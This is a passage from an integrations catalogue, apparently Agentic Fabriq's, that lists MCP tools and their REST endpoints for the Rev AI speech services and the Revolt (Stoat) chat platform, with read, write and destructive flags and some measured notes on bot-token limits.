/speechtotext/v1/vocabularies/{id}. Deletes a custom vocabulary. All data related to the custom vocabulary, such as webhooks and metadata, will be permanently deleted. A custom vocabulary can only be deleted once it's completed (either with success or failure). DELETE /api/v1/revai/speechtotext/v1/vocabularies/{id}. Scopes: api. revai_delete_topic_extraction_v1_jobs_by_id (write, destructive) — Delete Topic Extraction Job by Id via DELETE /topic_extraction/v1/jobs/{id}. Deletes a topic extraction job. All data related to the job will be permanently deleted. A job can only be deleted once it's completed (either with success or failure). DELETE /api/v1/revai/topic_extraction/v1/jobs/{id}. Scopes: api. revai_get_alignment_v1_jobs (read) — Get List of Forced Alignment Jobs via GET /alignment/v1/jobs. Gets a list of alignment jobs submitted within the last 30 days in reverse chronological order up to the provided `limit` number of jobs per call. **Note:** Jobs older than 30 days will not be listed. Pagination is supported via passing the last job `id` from a previous call into `starting_after`. GET /api/v1/revai/alignment/v1/jobs. Scopes: api. revai_get_alignment_v1_jobs_by_id (read) — Get Forced Alignment Job By Id via GET /alignment/v1/jobs/{id}. Returns information about a forced alignment job. GET /api/v1/revai/alignment/v1/jobs/{id}. Scopes: api. revai_get_alignment_v1_jobs_by_id_transcript (read) — Get Forced Alignment Transcript By Id via GET /alignment/v1/jobs/{id}/transcript. Returns the results for a completed forced alignment job. GET /api/v1/revai/alignment/v1/jobs/{id}/transcript. Scopes: api. revai_get_languageid_v1_jobs (read) — Get List of Language Identification Jobs via GET /languageid/v1/jobs. Gets a list of language identification jobs submitted within the last 30 days in reverse chronological order up to the provided `limit` number of jobs per call. **Note:** Jobs older than 30 days will not be listed. Pagination is supported via passing the last job `id` from a previous call into `starting_after`. GET /api/v1/revai/languageid/v1/jobs. Scopes: api. revai_get_languageid_v1_jobs_by_id (read) — Get Language Identification Job By Id via GET /languageid/v1/jobs/{id}. Returns information about a language identification job. GET /api/v1/revai/languageid/v1/jobs/{id}. Scopes: api. revai_get_languageid_v1_jobs_by_id_result (read) — Get Language Identification Result By Id via GET /languageid/v1/jobs/{id}/result. Returns the results for a completed language identification job. GET /api/v1/revai/languageid/v1/jobs/{id}/result. Scopes: api. revai_get_sentiment_analysis_v1_jobs (read) — Get List of Sentiment Analysis Jobs via GET /sentiment_analysis/v1/jobs. Gets a list of sentiment analysis jobs submitted within the last 30 days in reverse chronological order up to the provided `limit` number of jobs per call. **Note:** Jobs older than 30 days will not be listed. Pagination is supported via passing the last job `id` from a previous call into `starting_after`. GET /api/v1/revai/sentiment_analysis/v1/jobs. Scopes: api. revai_get_sentiment_analysis_v1_jobs_by_id (read) — Get Sentiment Analysis Job By Id via GET /sentiment_analysis/v1/jobs/{id}. Returns information about a sentiment analysis job GET /api/v1/revai/sentiment_analysis/v1/jobs/{id}. Scopes: api. revai_get_sentiment_analysis_v1_jobs_by_id_result (read) — Get Sentiment Analysis Result By Id via GET /sentiment_analysis/v1/jobs/{id}/result. Returns the results for a completed sentiment analysis job. GET /api/v1/revai/sentiment_analysis/v1/jobs/{id}/result. Scopes: api. revai_get_speechtotext_v1_account (read) — Get Account via GET /speechtotext/v1/account. Get the developer's account information GET /api/v1/revai/speechtotext/v1/account. Scopes: api. revai_get_speechtotext_v1_jobs (read) — Get List of Jobs via GET /speechtotext/v1/jobs. Gets a list of transcription jobs submitted within the last 30 days in reverse chronological order up to the provided `limit` number of jobs per call. **Note:** Jobs older than 30 days will not be listed. Pagination is supported via passing the last job `id` from a previous call into `starting_after`. GET /api/v1/revai/speechtotext/v1/jobs. Scopes: api. revai_get_speechtotext_v1_jobs_by_id (read) — Get Job By Id via GET /speechtotext/v1/jobs/{id}. Returns information about a transcription job GET /api/v1/revai/speechtotext/v1/jobs/{id}. Scopes: api. revai_get_speechtotext_v1_jobs_by_id_captions (read) — Get Captions via GET /speechtotext/v1/jobs/{id}/captions. Returns the caption output for a transcription job. We currently support SubRip (SRT) and Web Video Text Tracks (VTT) output. Caption output format can be specified in the `Accept` header. Returns SRT by default. Note: For streaming jobs, transient failure of our storage during a live session may prevent the final hypothesis elements from saving properly, resulting in an incomplete caption file. This is rare, but not impossible. `accept` picks the format (default `application/x-subrip`); text formats return {"raw": "<text>"}. GET /api/v1/revai/speechtotext/v1/jobs/{id}/captions. Scopes: api. revai_get_speechtotext_v1_jobs_by_id_captions_translation_by_language (read) — Get Translated Captions via GET /speechtotext/v1/jobs/{id}/captions/translation/{language}. Returns translated caption output for a transcription job. Translation must be requested as part of the submited job. We currently support SubRip (SRT) and Web Video Text Tracks (VTT) output. Caption output format can be specified in the `Accept` header. Returns SRT by default. `accept` picks the format (default `application/x-subrip`); text formats return {"raw": "<text>"}. GET /api/v1/revai/speechtotext/v1/jobs/{id}/captions/translation/{language}. Scopes: api. revai_get_speechtotext_v1_jobs_by_id_transcript (read) — Get Transcript By Id via GET /speechtotext/v1/jobs/{id}/transcript. Returns the transcript for a completed transcription job. Transcript can be returned as either JSON or plaintext format. Transcript output format can be specified in the `Accept` header. Returns JSON by default. Note: For streaming jobs, transient failure of our storage during a live session may prevent the final hypothesis elements from saving properly, resulting in an incomplete transcript. This is rare, but not impossible. To guarantee 100% completeness, we recommend capturing all final hypothesis when you receive them on the client. `accept` picks the format (default `application/vnd.rev.transcript.v1.0+json`); text formats return {"raw": "<text>"}. GET /api/v1/revai/speechtotext/v1/jobs/{id}/transcript. Scopes: api. revai_get_speechtotext_v1_jobs_by_id_transcript_summary (read) — Get Transcript Summary By Id via GET /speechtotext/v1/jobs/{id}/transcript/summary. Returns the transcript summary for a completed transcription job. Summary can be returned as either JSON or plaintext format. Summary output format can be specified in the `Accept` header. Returns plaintext by default. `accept` picks the format (default `text/plain`); text formats return {"raw": "<text>"}. GET /api/v1/revai/speechtotext/v1/jobs/{id}/transcript/summary. Scopes: api. revai_get_speechtotext_v1_jobs_by_id_transcript_translation_by_language (read) — Get Translated Transcript By Id via GET /speechtotext/v1/jobs/{id}/transcript/translation/{language}. Returns translated transcript for a completed transcription job. Translation must be requested as part of the submitted job. Transcript can be returned in either JSON or plaintext format. Transcript output format can be specified in the `Accept` header. Returns JSON by default. `accept` picks the format (default `application/vnd.rev.transcript.v1.0+json`); text formats return {"raw": "<text>"}. GET /api/v1/revai/speechtotext/v1/jobs/{id}/transcript/translation/{language}. Scopes: api. revai_get_speechtotext_v1_vocabularies (read) — Get List of Custom Vocabularies via GET /speechtotext/v1/vocabularies. Gets a list of most recent custom vocabularies' processing information GET /api/v1/revai/speechtotext/v1/vocabularies. Scopes: api. revai_get_speechtotext_v1_vocabularies_by_id (read) — Get Custom Vocabulary via GET /speechtotext/v1/vocabularies/{id}. Gets the custom vocabulary processing information GET /api/v1/revai/speechtotext/v1/vocabularies/{id}. Scopes: api. revai_get_topic_extraction_v1_jobs (read) — Get List of Topic Extraction Jobs via GET /topic_extraction/v1/jobs. Gets a list of topic extraction jobs submitted within the last 30 days in reverse chronological order up to the provided `limit` number of jobs per call. **Note:** Jobs older than 30 days will not be listed. Pagination is supported via passing the last job `id` from a previous call into `starting_after`. GET /api/v1/revai/topic_extraction/v1/jobs. Scopes: api. revai_get_topic_extraction_v1_jobs_by_id (read) — Get Topic Extraction Job By Id via GET /topic_extraction/v1/jobs/{id}. Returns information about a topic extraction job GET /api/v1/revai/topic_extraction/v1/jobs/{id}. Scopes: api. revai_get_topic_extraction_v1_jobs_by_id_result (read) — Get Topic Extraction Result By Id via GET /topic_extraction/v1/jobs/{id}/result. Returns the results for a completed topic extraction job. GET /api/v1/revai/topic_extraction/v1/jobs/{id}/result. Scopes: api. revai_post_alignment_v1_jobs (write) — Submit Forced Alignment Job via POST /alignment/v1/jobs. Starts an asynchronous job to obtain precise word timings for an audio file and text transcript. Audio can be specified by including a public url to the media via the `source_config`. A transcript can be specified by including a public url to the text file via the `source_transcript_config` or by submitting the text directly in the `transcript_text` field. Transcripts should contain only the words of a transcript (punctuation is omitted) separated by spaces. Asynchronous and billed against the account's credit: poll the job by id until `status` leaves `in_progress`, then fetch the result; `notification_config.url` receives a POST when it finishes. POST /api/v1/revai/alignment/v1/jobs. Scopes: api. revai_post_languageid_v1_jobs (write) — Submit Language Identification Job via POST /languageid/v1/jobs. Starts an asynchronous job to identify the most probable language in the audio. This tool sends JSON only: give the media as `source_config.url` (a URL Rev AI can download, with `source_config.auth_headers` if it needs an Authorization header); local-file upload is not offered. Asynchronous and billed against the account's credit: poll the job by id until `status` leaves `in_progress`, then fetch the result; `notification_config.url` receives a POST when it finishes. POST /api/v1/revai/languageid/v1/jobs. Scopes: api. revai_post_sentiment_analysis_v1_jobs (write) — Submit Sentiment Analysis Job via POST /sentiment_analysis/v1/jobs. Starts an asynchronous job to analyze sentiments in a transcript. The transcript can be supplied through `text` as plain text or `json` as a [rev.com transcript format](https://www.rev.ai/docs#tag/Transcript) Asynchronous and billed against the account's credit: poll the job by id until `status` leaves `in_progress`, then fetch the result; `notification_config.url` receives a POST when it finishes. POST /api/v1/revai/sentiment_analysis/v1/jobs. Scopes: api. revai_post_speechtotext_v1_jobs (write) — Submit Transcription Job via POST /speechtotext/v1/jobs. Starts an asynchronous job to transcribe speech-to-text for a media file. This tool sends JSON only: give the media as `source_config.url` (a URL Rev AI can download, with `source_config.auth_headers` if it needs an Authorization header); local-file upload is not offered. Asynchronous and billed against the account's credit: poll the job by id until `status` leaves `in_progress`, then fetch the result; `notification_config.url` receives a POST when it finishes. POST /api/v1/revai/speechtotext/v1/jobs. Scopes: api. revai_post_speechtotext_v1_vocabularies (write) — Submit Custom Vocabulary via POST /speechtotext/v1/vocabularies. Submits a Custom Vocabulary for asynchronous processing. POST /api/v1/revai/speechtotext/v1/vocabularies. Scopes: api. revai_post_topic_extraction_v1_jobs (write) — Submit Topic Extraction Job via POST /topic_extraction/v1/jobs. Starts an asynchronous job to extract topics from a transcript. The transcript can be supplied through `text` as plain text or `json` as a [rev.com transcript format](https://www.rev.ai/docs#tag/Transcript) Asynchronous and billed against the account's credit: poll the job by id until `status` leaves `in_progress`, then fetch the result; `notification_config.url` receives a POST when it finishes. POST /api/v1/revai/topic_extraction/v1/jobs. Scopes: api. ================================================================================ ## Revolt (Stoat) URL: https://www.agenticfabriq.com/integrations/revolt Section: Integrated Tools Revolt (Stoat) — 93 MCP tools Provider key: revolt. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. revolt_delete_bots_by_bot_id (write, destructive) — Delete Bot. Delete a bot by its id. DELETE /bots/{bot_id}. DELETE /api/v1/revolt/bots/{bot_id}. Scopes: api. revolt_delete_bots_by_bot_id_discover (write, destructive) — Delete bot Discover request. This cannot be used if your request is no longer in the queue (ie approved or rejected). If you wish to reapply after a rejection, submit another POST. This endpoint is ONLY USEFUL in production on stoat.chat/app. DELETE /bots/{bot_id}/discover. DELETE /api/v1/revolt/bots/{bot_id}/discover. Scopes: api. revolt_delete_channels_by_group_id_recipients_by_member_id (write, destructive) — Remove Member from Group. Removes a user from the group. DELETE /channels/{group_id}/recipients/{member_id}. DELETE /api/v1/revolt/channels/{group_id}/recipients/{member_id}. Scopes: api. revolt_delete_channels_by_target (write, destructive) — Close Channel. Deletes a server channel, leaves a group or closes a group. DELETE /channels/{target}. DELETE /api/v1/revolt/channels/{target}. Scopes: api. revolt_delete_channels_by_target_messages_bulk (write, destructive) — Bulk Delete Messages. Delete multiple messages you've sent or one you have permission to delete. This will always require ManageMessages permission regardless of whether you own the message or not. Messages must have been sent within the past 1 week. DELETE /channels/{target}/messages/bulk. DELETE /api/v1/revolt/channels/{target}/messages/bulk. Scopes: api. revolt_delete_channels_by_target_messages_by_msg (write, destructive) — Delete Message. Delete a message you've sent or one you have permission to delete. DELETE /channels/{target}/messages/{msg}. DELETE /api/v1/revolt/channels/{target}/messages/{msg}. Scopes: api. revolt_delete_channels_by_target_messages_by_msg_pin (write, destructive) — Unpins a message. Unpins a message by its id. DELETE /channels/{target}/messages/{msg}/pin. DELETE /api/v1/revolt/channels/{target}/messages/{msg}/pin. Scopes: api. revolt_delete_channels_by_target_messages_by_msg_reactions (write, destructive) — Remove All Reactions from Message. Remove your own, someone else's or all of a given reaction. Requires ManageMessages permission. DELETE /channels/{target}/messages/{msg}/reactions. DELETE /api/v1/revolt/channels/{target}/messages/{msg}/reactions. Scopes: api. revolt_delete_channels_by_target_messages_by_msg_reactions_by_emoji (write, destructive) — Remove Reaction(s) to Message. Remove your own, someone else's or all of a given reaction. Requires ManageMessages if changing others' reactions. DELETE /channels/{target}/messages/{msg}/reactions/{emoji}. DELETE /api/v1/revolt/channels/{target}/messages/{msg}/reactions/{emoji}. Scopes: api. revolt_delete_custom_emoji_by_emoji_id (write, destructive) — Delete Emoji. Delete an emoji by its id. DELETE /custom/emoji/{emoji_id}. DELETE /api/v1/revolt/custom/emoji/{emoji_id}. Scopes: api. revolt_delete_invites_by_target (write, destructive) — Delete Invite. Delete an invite by its id. DELETE /invites/{target}. DELETE /api/v1/revolt/invites/{target}. Scopes: api. revolt_delete_servers_by_server_bans_by_target (write, destructive) — Unban user. Remove a user's ban. DELETE /servers/{server}/bans/{target}. DELETE /api/v1/revolt/servers/{server}/bans/{target}. Scopes: api. revolt_delete_servers_by_server_discover (write, destructive) — Delete server Discover request. This cannot be used if your request is no longer in the queue (ie approved or rejected). If you wish to reapply after a rejection, submit another POST. This endpoint is ONLY USEFUL in production on stoat.chat/app. DELETE /servers/{server}/discover. DELETE /api/v1/revolt/servers/{server}/discover. Scopes: api. revolt_delete_servers_by_server_id_members_by_member_id (write, destructive) — Kick Member. Removes a member from the server. DELETE /servers/{server_id}/members/{member_id}. DELETE /api/v1/revolt/servers/{server_id}/members/{member_id}. Scopes: api. revolt_delete_servers_by_target (write, destructive) — Delete / Leave Server. Deletes a server if owner otherwise leaves. DELETE /servers/{target}. DELETE /api/v1/revolt/servers/{target}. Scopes: api. revolt_delete_servers_by_target_roles_by_role_id (write, destructive) — Delete Role. Delete a server role by its id. DELETE /servers/{target}/roles/{role_id}. DELETE /api/v1/revolt/servers/{target}/roles/{role_id}. Scopes: api. revolt_delete_users_by_target_block (write, destructive) — Unblock User. Unblock another user by their id. DELETE /users/{target}/block. DELETE /api/v1/revolt/users/{target}/block. Scopes: api. revolt_delete_users_by_target_friend (write, destructive) — Deny Friend Request / Remove Friend. Denies another user's friend request or removes an existing friend. DELETE /users/{target}/friend. DELETE /api/v1/revolt/users/{target}/friend. Scopes: api. revolt_delete_webhooks_by_webhook_id (write, destructive) — Deletes a webhook. DELETE /webhooks/{webhook_id}. DELETE /api/v1/revolt/webhooks/{webhook_id}. Scopes: api. revolt_get (read) — Query Node. Fetch the server configuration for this Revolt instance. GET /. GET /api/v1/revolt/. Scopes: api. revolt_get_bots_by_bot_id_discover (read) — Get bot Discover request status. Fetches the status of your Discover request. If it has been approved or denied, the reason will be provided (if applicable). This endpoint is ONLY USEFUL in production on stoat.chat/app. GET /bots/{bot_id}/discover. GET /api/v1/revolt/bots/{bot_id}/discover. Scopes: api. revolt_get_bots_by_target_invite (read) — Fetch Public Bot. Fetch details of a public (or owned) bot by its id. GET /bots/{target}/invite. GET /api/v1/revolt/bots/{target}/invite. Scopes: api. revolt_get_channels_by_channel_id_webhooks (read) — Gets all webhooks. Gets all webhooks inside the channel GET /channels/{channel_id}/webhooks. GET /api/v1/revolt/channels/{channel_id}/webhooks. Scopes: api. revolt_get_channels_by_target (read) — Fetch Channel. Fetch channel by its id. GET /channels/{target}. GET /api/v1/revolt/channels/{target}. Scopes: api. revolt_get_channels_by_target_members (read) — Fetch Group Members. Retrieves all users who are part of this group. This may not return full user information if users are not friends but have mutual connections. GET /channels/{target}/members. GET /api/v1/revolt/channels/{target}/members. Scopes: api. revolt_get_channels_by_target_messages (read) — Fetch Messages. Fetch multiple messages. GET /channels/{target}/messages. GET /api/v1/revolt/channels/{target}/messages. Scopes: api. revolt_get_channels_by_target_messages_by_msg (read) — Fetch Message. Retrieves a message by its id. GET /channels/{target}/messages/{msg}. GET /api/v1/revolt/channels/{target}/messages/{msg}. Scopes: api. revolt_get_custom_emoji_by_emoji_id (read) — Fetch Emoji. Fetch an emoji by its id. GET /custom/emoji/{emoji_id}. GET /api/v1/revolt/custom/emoji/{emoji_id}. Scopes: api. revolt_get_invites_by_target (read) — Fetch Invite. Fetch an invite by its id. GET /invites/{target}. GET /api/v1/revolt/invites/{target}. Scopes: api. revolt_get_onboard_hello (read) — Check Onboarding Status. This will tell you whether the current account requires onboarding or whether you can continue to send requests as usual. You may skip calling this if you're restoring an existing session. GET /onboard/hello. NEEDS A USER SESSION TOKEN: onboarding state belongs to a user account, and measured 2026-09-17 a valid bot token is refused 401 here. A connection made with the Bot token card cannot call this tool and will be told so before the request is made. GET /api/v1/revolt/onboard/hello. Scopes: api. revolt_get_servers_by_server_discover (read) — Get server Discover request status. Fetches the status of your Discover request. If it has been approved or denied, the reason will be provided (if applicable). This endpoint is ONLY USEFUL in production on stoat.chat/app. GET /servers/{server}/discover. GET /api/v1/revolt/servers/{server}/discover. Scopes: api. revolt_get_servers_by_server_id_members_by_member_id (read) — Fetch Member. Retrieve a member. GET /servers/{server_id}/members/{member_id}. GET /api/v1/revolt/servers/{server_id}/members/{member_id}. Scopes: api. revolt_get_servers_by_target (read) — Fetch Server. Fetch a server by its id. GET /servers/{target}. GET /api/v1/revolt/servers/{target}. Scopes: api. revolt_get_servers_by_target_audit_logs (read) — Audit Log Query. Queries a server's audit logs. GET /servers/{target}/audit_logs. ONE FILTER IS NOT AVAILABLE THROUGH THIS TOOL: an ARRAY-typed filter whose query-string wire form is unmeasured. A bot identity cannot create a server (400 IsBot, measured 2026-09-17) and this wave's bot is in none, so every audit-log request answers 404 before a filter is parsed -- there was no way to tell `type=a&type=b` from `type[]=a&type[]=b`, and the wrong one returns an unfiltered 200 a caller cannot distinguish from a correct answer. Settle it by calling GET /servers/{id}/audit_logs on a real server with one known-present action type and one invented value, and compare the two result counts. GET /api/v1/revolt/servers/{target}/audit_logs. Scopes: api. revolt_get_servers_by_target_bans (read) — Fetch Bans. Fetch all bans on a server. GET /servers/{target}/bans. GET /api/v1/revolt/servers/{target}/bans. Scopes: api. revolt_get_servers_by_target_emojis (read) — Fetch Server Emoji. Fetch all emoji on a server. GET /servers/{target}/emojis. GET /api/v1/revolt/servers/{target}/emojis. Scopes: api. revolt_get_servers_by_target_invites (read) — Fetch Invites. Fetch all server invites. GET /servers/{target}/invites. GET /api/v1/revolt/servers/{target}/invites. Scopes: api. revolt_get_servers_by_target_members (read) — Fetch Members. Fetch all server members. GET /servers/{target}/members. GET /api/v1/revolt/servers/{target}/members. Scopes: api. revolt_get_servers_by_target_members_experimental_query (read) — Query members by name. Query members by a given name, this API is not stable and will be removed in the future. GET /servers/{target}/members_experimental_query. GET /api/v1/revolt/servers/{target}/members_experimental_query. Scopes: api. revolt_get_servers_by_target_roles_by_role_id (read) — Fetch Role. Fetch a role by its id. GET /servers/{target}/roles/{role_id}. GET /api/v1/revolt/servers/{target}/roles/{role_id}. Scopes: api. revolt_get_sync_unreads (read) — Fetch Unreads. Fetch information about unread state on channels. GET /sync/unreads. GET /api/v1/revolt/sync/unreads. Scopes: api. revolt_get_users_by_target (read) — Fetch User. Retrieve a user's information. GET /users/{target}. GET /api/v1/revolt/users/{target}. Scopes: api. revolt_get_users_by_target_dm (read) — Open Direct Message. Open a DM with another user. If the target is oneself, a saved messages channel is returned. GET /users/{target}/dm. GET /api/v1/revolt/users/{target}/dm. Scopes: api. revolt_get_users_by_target_flags (read) — Fetch User Flags. Retrieve a user's flags. GET /users/{target}/flags. GET /api/v1/revolt/users/{target}/flags. Scopes: api. revolt_get_users_by_target_mutual (read) — Fetch Mutual Friends, Servers, Groups and DMs. Retrieve a list of mutual friends, servers, groups and DMs with another user. GET /users/{target}/mutual. GET /api/v1/revolt/users/{target}/mutual. Scopes: api. revolt_get_users_by_target_profile (read) — Fetch User Profile. Retrieve a user's profile data. Will fail if you do not have permission to access the other user's profile. GET /users/{target}/profile. GET /api/v1/revolt/users/{target}/profile. Scopes: api. revolt_get_users_dms (read) — Fetch Direct Message Channels. This fetches your direct messages, including any DM and group DM conversations. GET /users/dms. GET /api/v1/revolt/users/dms. Scopes: api. revolt_get_users_me (read) — Fetch Self. Retrieve your user information. GET /users/@me. GET /api/v1/revolt/users/@me. Scopes: api. revolt_get_webhooks_by_webhook_id (read) — Gets a webhook. GET /webhooks/{webhook_id}. GET /api/v1/revolt/webhooks/{webhook_id}. Scopes: api. revolt_patch_channels_by_target (write) — Edit Channel. Edit a channel object by its id. PATCH /channels/{target}. PATCH /api/v1/revolt/channels/{target}. Scopes: api. revolt_patch_channels_by_target_messages_by_msg (write) — Edit Message. Edits a message that you've previously sent. PATCH /channels/{target}/messages/{msg}. PATCH /api/v1/revolt/channels/{target}/messages/{msg}. Scopes: api. revolt_patch_custom_emoji_by_emoji_id (write) — Edit Emoji. Edit an emoji by its id. PATCH /custom/emoji/{emoji_id}. PATCH /api/v1/revolt/custom/emoji/{emoji_id}. Scopes: api. revolt_patch_servers_by_server_id_members_by_member_id (write) — Edit Member. Edit a member by their id. PATCH /servers/{server_id}/members/{member_id}. PATCH /api/v1/revolt/servers/{server_id}/members/{member_id}. Scopes: api. revolt_patch_servers_by_target (write) — Edit Server. Edit a server by its id. PATCH /servers/{target}. PATCH /api/v1/revolt/servers/{target}. Scopes: api. revolt_patch_servers_by_target_roles_by_role_id (write) — Edit Role. Edit a role by its id. PATCH /servers/{target}/roles/{role_id}. PATCH /api/v1/revolt/servers/{target}/roles/{role_id}. Scopes: api. revolt_patch_servers_by_target_roles_ranks (write) — Edits server roles ranks. Edit's server role's ranks. PATCH /servers/{target}/roles/ranks. PATCH /api/v1/revolt/servers/{target}/roles/ranks. Scopes: api. revolt_patch_users_by_target (write) — Edit User. Edit currently authenticated user. PATCH /users/{target}. PATCH /api/v1/revolt/users/{target}. Scopes: api. revolt_patch_webhooks_by_webhook_id (write) — Edits a webhook. PATCH /webhooks/{webhook_id}. PATCH /api/v1/revolt/webhooks/{webhook_id}. Scopes: api. revolt_post_bots_by_target_invite (write) — Invite Bot. Invite a bot to a server or group by its id.` POST /bots/{target}/invite. POST /api/v1/revolt/bots/{target}/invite. Scopes: api. revolt_post_channels_by_channel_id_webhooks (write) — Creates a webhook. Creates a webhook which 3rd party platforms can use to send messages POST /channels/{channel_id}/webhooks. POST /api/v1/revolt/channels/{channel_id}/webhooks. Scopes: api. revolt_post_channels_by_target_invites (write) — Create Invite. Creates an invite to this channel. Channel must be a TextChannel. POST /channels/{target}/invites. POST /api/v1/revolt/channels/{target}/invites. Scopes: api. revolt_post_channels_by_target_join_call (write) — Join Call. Asks the voice server for a token to join the call. POST /channels/{target}/join_call. POST /api/v1/revolt/channels/{target}/join_call. Scopes: api. revolt_post_channels_by_target_messages (write) — Send Message. Sends a message to the given channel. POST /channels/{target}/messages. POST /api/v1/revolt/channels/{target}/messages. Scopes: api. revolt_post_channels_by_target_messages_by_msg_pin (write) — Pins a message. Pins a message by its id. POST /channels/{target}/messages/{msg}/pin. POST /api/v1/revolt/channels/{target}/messages/{msg}/pin. Scopes: api. revolt_post_channels_by_target_search (write) — Search for Messages. This route searches for messages within the given parameters. POST /channels/{target}/search. POST /api/v1/revolt/channels/{target}/search. Scopes: api. revolt_post_channels_create (write) — Create Group. Create a new group channel. POST /channels/create. POST /api/v1/revolt/channels/create. Scopes: api. revolt_post_invites_by_target (write) — Join Invite. Join an invite by its ID POST /invites/{target}. POST /api/v1/revolt/invites/{target}. Scopes: api. revolt_post_onboard_complete (write) — Complete Onboarding. This sets a new username, completes onboarding and allows a user to start using Revolt. POST /onboard/complete. NEEDS A USER SESSION TOKEN: onboarding completes a user account, and measured 2026-09-17 a valid bot token is refused 401 here. A connection made with the Bot token card cannot call this tool and will be told so before the request is made. POST /api/v1/revolt/onboard/complete. Scopes: api. revolt_post_policy_acknowledge (write) — Acknowledge Policy Changes. Accept/acknowledge changes to platform policy. POST /policy/acknowledge. POST /api/v1/revolt/policy/acknowledge. Scopes: api. revolt_post_push_subscribe (write) — Push Subscribe. Create a new Web Push subscription. If an existing subscription exists on this session, it will be removed. POST /push/subscribe. NEEDS A USER SESSION TOKEN: push subscriptions belong to a user session, and measured 2026-09-17 a valid bot token is refused 401 here. A connection made with the Bot token card cannot call this tool and will be told so before the request is made. POST /api/v1/revolt/push/subscribe. Scopes: api. revolt_post_push_unsubscribe (write) — Unsubscribe. Remove the Web Push subscription associated with the current session. POST /push/unsubscribe. NEEDS A USER SESSION TOKEN: push subscriptions belong to a user session, and measured 2026-09-17 a valid bot token is refused 401 here. A connection made with the Bot token card cannot call this tool and will be told so before the request is made. POST /api/v1/revolt/push/unsubscribe. Scopes: api. revolt_post_safety_report (write) — Report Content. Report a piece of content to the moderation team. POST /safety/report. POST /api/v1/revolt/safety/report. Scopes: api. revolt_post_servers_by_server_channels (write) — Create Channel. Create a new Text or Voice channel. POST /servers/{server}/channels. POST /api/v1/revolt/servers/{server}/channels. Scopes: api. revolt_post_servers_by_target_roles (write) — Create Role. Creates a new server role. POST /servers/{target}/roles. POST /api/v1/revolt/servers/{target}/roles. Scopes: api. revolt_post_servers_create (write) — Create Server. Create a new server. POST /servers/create. NOT AVAILABLE TO BOT IDENTITIES: Revolt refuses server creation to bot identities: measured 2026-09-17, a valid bot token answers 400 {"type":"IsBot"}. A human account creates the server and invites the bot to it. POST /api/v1/revolt/servers/create. Scopes: api. revolt_post_sync_settings_fetch (write) — Fetch Settings. Fetch settings from server filtered by keys. This will return an object with the requested keys, each value is a tuple of (timestamp, value), the value is the previously uploaded data. POST /sync/settings/fetch. POST /api/v1/revolt/sync/settings/fetch. Scopes: api. revolt_post_sync_settings_set (write) — Set Settings. Upload data to save to settings. POST /sync/settings/set. POST /api/v1/revolt/sync/settings/set. Scopes: api. revolt_post_users_friend (write) — Send Friend Request. Send a friend request to another user. POST /users/friend. POST /api/v1/revolt/users/friend. Scopes: api. revolt_put_bots_by_bot_id_discover (write) — Add bot to Discover. This puts your bot into the Discover request queue. This endpoint is ONLY USEFUL in production on stoat.chat/app. PUT /bots/{bot_id}/discover. PUT /api/v1/revolt/bots/{bot_id}/discover. Scopes: api. revolt_put_channels_by_group_id_recipients_by_member_id (write) — Add Member to Group. Adds another user to the group. PUT /channels/{group_id}/recipients/{member_id}. PUT /api/v1/revolt/channels/{group_id}/recipients/{member_id}. Scopes: api. revolt_put_channels_by_target_ack_by_message (write) — Acknowledge Message. Lets the server and all other clients know that we've seen this message id in this channel. PUT /channels/{target}/ack/{message}. PUT /api/v1/revolt/channels/{target}/ack/{message}. Scopes: api. revolt_put_channels_by_target_end_ring_by_target_user (write) — Stop Ring. Stops ringing a specific user in a dm call. You must be in the call to use this endpoint, returns NotConnected otherwise. Only valid in DM/Group channels, will return NoEffect in servers. Returns NotFound if the user is not in the dm/group channel PUT /channels/{target}/end_ring/{target_user}. PUT /api/v1/revolt/channels/{target}/end_ring/{target_user}. Scopes: api. revolt_put_channels_by_target_messages_by_msg_reactions_by_emoji (write) — Add Reaction to Message. React to a given message. PUT /channels/{target}/messages/{msg}/reactions/{emoji}. PUT /api/v1/revolt/channels/{target}/messages/{msg}/reactions/{emoji}. Scopes: api. revolt_put_channels_by_target_permissions_by_role_id (write) — Set channel role permissions. Sets permissions for the specified role in this channel. Channel must be a TextChannel. PUT /channels/{target}/permissions/{role_id}. PUT /api/v1/revolt/channels/{target}/permissions/{role_id}. Scopes: api. revolt_put_channels_by_target_permissions_default (write) — Set default channel permissions. Sets permissions for the default role in this channel. Channel must be a Group or TextChannel. PUT /channels/{target}/permissions/default. PUT /api/v1/revolt/channels/{target}/permissions/default. Scopes: api. revolt_put_custom_emoji_by_emoji_id (write) — Create New Emoji. Create an emoji by its Autumn upload id. PUT /custom/emoji/{emoji_id}. PUT /api/v1/revolt/custom/emoji/{emoji_id}. Scopes: api. revolt_put_servers_by_server_bans_by_target (write) — Ban User. Ban a user by their id. PUT /servers/{server}/bans/{target}. PUT /api/v1/revolt/servers/{server}/bans/{target}. Scopes: api. revolt_put_servers_by_server_discover (write) — Add server to Discover. This puts your server into the Discover request queue. This endpoint is ONLY USEFUL in production on stoat.chat/app. PUT /servers/{server}/discover. PUT /api/v1/revolt/servers/{server}/discover. Scopes: api. revolt_put_servers_by_target_ack (write) — Mark Server As Read. Mark all channels in a server as read. PUT /servers/{target}/ack. PUT /api/v1/revolt/servers/{target}/ack. Scopes: api. revolt_put_servers_by_target_permissions_by_role_id (write) — Set server role permissions. Sets permissions for the specified role in the server. PUT /servers/{target}/permissions/{role_id}. PUT /api/v1/revolt/servers/{target}/permissions/{role_id}. Scopes: api. revolt_put_servers_by_target_permissions_default (write) — Set default server permissions. Sets permissions for the default role in this server. PUT /servers/{target}/permissions/default. PUT /api/v1/revolt/servers/{target}/permissions/default. Scopes: api. revolt_put_users_by_target_block (write) — Block User. Block another user by their id. PUT /users/{target}/block. PUT /api/v1/revolt/users/{target}/block. Scopes: api. revolt_put_users_by_target_friend (write) — Accept Friend Request. Accept another user's friend request. PUT /users/{target}/friend. PUT /api/v1/revolt/users/{target}/friend. Scopes: api. ================================================================================ ## RiteKit URL: https://www.agenticfabriq.com/integrations/rite_kit Section: Integrated Tools RiteKit — 23 MCP tools Provider key: rite_kit. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect 